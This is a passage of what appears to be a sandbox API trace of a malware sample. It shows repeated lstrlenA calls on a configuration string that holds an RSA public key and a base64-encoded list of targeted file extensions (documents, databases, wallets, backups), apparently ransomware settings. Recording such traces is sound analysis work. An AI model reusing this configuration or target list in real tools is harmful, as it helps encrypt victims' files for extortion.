C5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.130] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.130] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.130] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhs